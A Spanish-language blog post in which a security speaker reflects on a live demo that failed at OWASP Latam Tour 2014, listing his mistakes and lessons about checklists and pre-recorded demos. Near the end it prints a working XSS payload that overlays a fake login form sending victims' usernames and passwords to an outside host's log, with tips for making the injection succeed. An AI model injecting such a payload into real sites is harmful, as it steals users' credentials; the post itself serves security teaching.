2014/05/11

El error ajeno

Si hay una frase muy del mundo agile que me gusta es "hay que aprender del error". Más me gusta extenderla: "y si es del ajeno, mejor".

Otra vez el error ha sido mio, pero para vos es ajeno, así que sentate, embebete de error y llevate el botín.



En esta ocasión, en el marco del OWASP Latam Tour 2014[1] como primer bocadillo tenía que mostrar un par de vulnerabilidades de aplicaciones web compatibles con el Top Ten de OWASP[2]. Esta era mi planificación:

  • Hacer una evaluación de los asistentes (dev, sec, dev/sec), útil tambien para las charlas posteriores.
  • Mostrar XSS
  • Mostrar un error de configuración de apache
  • Mostrar un ataque combinando ambos
  • Mostrar otras vulnerabilidades según el tiempo restante
  • Invitar al Agile Open Seguridad BsAs 2014
Todo regado de abundantes referencias al Top Ten.

Para que sea más divertido y no suene como compensación y como no todo es fracaso en la vida, voy a empezar por los aciertos y luego pasaré a los errores:


  • Aprovechando que era el primero, probar que todo lo que me había propuesto, que no incluye lo que mi hizo fallar, estuviera listo.
  • Los tabs estaban nombrados.
  • Tenía mi checklist.
  • Tenía la demo lista dos semanas antes
  • Practiqué la demo.
  • Cuando llegó la falla, aunque me embargó una sensación de newbie, de ser un completo disminuido, que nunca me iban a invitar a exponer a ningún lado otra vez (que bien puede ser posible), que pasaría a ser un paria de la seguridad informática y el desarrollo agile, ni siquiera sudé. Me puse en modo despliegue en producción, esto me importa media mierda, si sale mal retrocedo y voy por otro camino, me tragué las lágrimas y seguí adelante.


¡Basta de suspenso! ¿Cúal fue el error??

No fué un error, sino varios, en orden creciente:

Primer error



Para estas actividades tengo una (la) netbook, que cada tanto al apretar el teclado de cierto modo tiene una falla de hard y el kernel se deshace la comunicación con el humano. Puedo sacar la batería o entrar por ssh a reiniciar. Esto no me puede ocurrir y por eso llevo un teclado y mouse. El problema es que esta ocasión, para aligerar la mochila llevé el genius mas cortito y liviano con layout XXXX en lugar del apple pesado con el layout YYYY correspondiente a la netbook. Puede parecer una pelotudez, pero eso provocó que en el momento de crisis, tuviera dificultades en hallar los caracteres especiales, aumentando mi confusión y perdiendo tiempo.

Segundo error


Normalmente me hago una checklist que voy tachando durante el transcurso de la charla. Esta charla de tres o cuatro ejemplos está basada en una actividad de ocho. La checklist que tenía incluía la checklist que realmente iba a hacer.

Tercer error


No me di cuenta que veinticinco minutos no es la mitad de cincuenta, es mucho menos. Un curso de varias horas puede estar plagado de pequeños errores que se pueden resolver en el momento o incluso se pueden aprovechar para mejorar la explicación. Cuanto más corto el tiempo, más importante es que no falle nada.



Último error, o sea, el primero, pues es una lista creciente


Una y otra vez he visto demos que fallan, ocurre siempre, es muy triste pero es normal. Una demo es algo mucho más vivo que pasar slides o videos e ir hablando encima. Es la diferencia entre el cine y el teatro.

En una de esas tantas demos que fallaron, vi un recurso muy sencillo, que es combinar el teatro con el cine y consiste en tener la parte crítica de la demo ya grabada. Es menos creible, pero llegado el caso te salva.

Las demos que hago suelen ser muy retorcidas. La de TDSD por ejemplo, la terminé de entender recien la cuarta vez al exponerla en Agiles 2011[3]. Aún así le pedí a un asistente conocido, Sergio G., que me ayudara a mantener el rumbo. Esta demo es una versión simplificada, fácilmente grabable.

Una aclaración: yo llamo demo a lo que hice, pero para mí el espíritu real de una demo es un 0day, BEAST, CRIME, algo donde el objetivo es mostrar un descubrimiento, un invento, algo cualitativo. Mi exposición es meramente educativa, daba lo mismo XSS, CSRF o SQLi, no había nada nuevo, quizás para algún asistente era nueva la idea de combinar XSS y el log de apache, pero no para la comunidad.



Resta preguntar por qué no grabé. Muy sencillo, por el mismo motivo que no se aplica seguridad en los proyectos: economía. Estaba (estoy) bajo una sobrecarga de actividad y tengo que priorizar, a veces mal.

La falla

Cuando iba a combinar el ataque de XSS con la falla de configuración de apache, no pude encontrar el ataque en javascript. Así de fácil. Me perdí en la checklist, me perdí en los branches de git, no tenía tiempo para reescribirlo. Fue tan abrumador que durante medio minuto ni pude ocultar mi desesperación. Al final escribí en la url el resultado del ataque. Luego alguien hizo un comentario largo, tuve tiempo de volver para atras y lo encontré pero ya no tenía tiempo y ahí vino...


La yapa


Puse el código en pantalla y expliqué que hubiera hecho. Me hubiese llevado el mismo tiempo hacer el ataque y no estaríamos aquí. Lo peor, es que la ruta del ataque en el sistema de archivos estaba claramente escrita en mi checklist y no la pude ver hasta que era tarde.


La conclusión


Si hubiera hecho bien la checklist, si hubiera grabado la demo, habría pasado menos vergüenza y en el mundo del que gana y pierde hubiese ganado. Pero no hubiese escrito esta entrada y todos ustedes que asistieron a la charla no estarían gananado esto, volvemos otra vez a que el error enriquece, mucho mejor el error ajeno.



Muy interesante todo, muy poético, muy sensible, igual lo que nos importa es ese código que nos mostraste pero no vimos en acción y querríamos probar en casa.

Ok, ok, acá esta


<script>
  $("body").append($("<style/>", {text : '#login { background-color:#FFFFFF; border:1px solid #999999; margin-top: 15px; position:absolute; text-align:left; width:394px; z-index:50; padding: 25px 25px 20px; } '}));
  var html= '<div id="login"> Para seguir operando, reingrese sus credenciales: <form method="get" id="trampa" action="http://good.com/image.png"> <p>Usuario:<input type="text" name="usuario" /></p> <p>Clave<input type="password" name="clave"  /></p> <p><input type="submit" value="Reingresar"/></p> </form> </div>';
  $("body").append(html);
</script>



Repasemos, primero el login.



Luego enviamos el mensaje, cualquier cosa en este caso pues hay validación client side de 50 caracteres.


Acá podemos ver el log




Con tamper data modificamos el mensaje


Aparece el falso login



Y finalmente las credenciales en el log




Para armar la demo, es importante tener sólo XSS en el sitio, pues ese texto rompe un sitio con SQLi por las comillas simples.


Si se está usando un post para poner el XSS, ojo al tamaño máximo en la validación client side. Si el campo en la tabla tiene un tamaño máximo insuficiente, puede fallar.

Para evitar todo esto, se puede hacer con XSS reflejado y el sitio modelo se reduce a tirar un mensaje de error no sanitizado.

Hace falta que el sitio modelo atacado tenga jquery.

Cualquier duda, a tu disposición.

[1] https://www.owasp.org/index.php/LatamTour2014#tab=ARGENTINA
[2] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
[3] http://seguridad-agile.blogspot.com/2011/10/agiles-2011-dia-1.html

No hay comentarios:

Publicar un comentario